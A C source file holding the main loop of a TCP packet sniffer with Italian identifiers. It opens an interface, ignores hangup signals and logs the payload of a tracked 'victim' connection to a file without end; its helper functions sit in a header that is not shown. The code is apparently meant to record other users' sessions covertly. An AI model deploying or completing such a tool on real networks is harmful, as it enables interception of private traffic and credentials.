#include "sniff.h"

struct iphdr  *ip;
struct tcphdr *tcp;
struct etherpacket ep;
struct victim vittima;

FILE *fp;
FILE *rawtcp;


int main(int argc, char **argv)
{
  ifOpen();
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
  signal(SIGHUP, SIG_IGN);
  signal(SIGINT, sgura);
  signal(SIGTERM, sgura);
  signal(SIGKILL, sgura);
  signal(SIGQUIT, sgura);
  if(argc == 2) 
    fp=stdout;
  else 
    fp=fopen(TCPLOG, "a");
  if(fp == NULL) 
    { 
      fprintf(stderr, "can't open sniffer log file...\n");
      exit(0);
    }
  azzeraVittima();
  while(1)
    {
      readTCP();
      if(vittima.active != 0) 
	printData(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
      fflush(fp);      
    }
  return 0;
}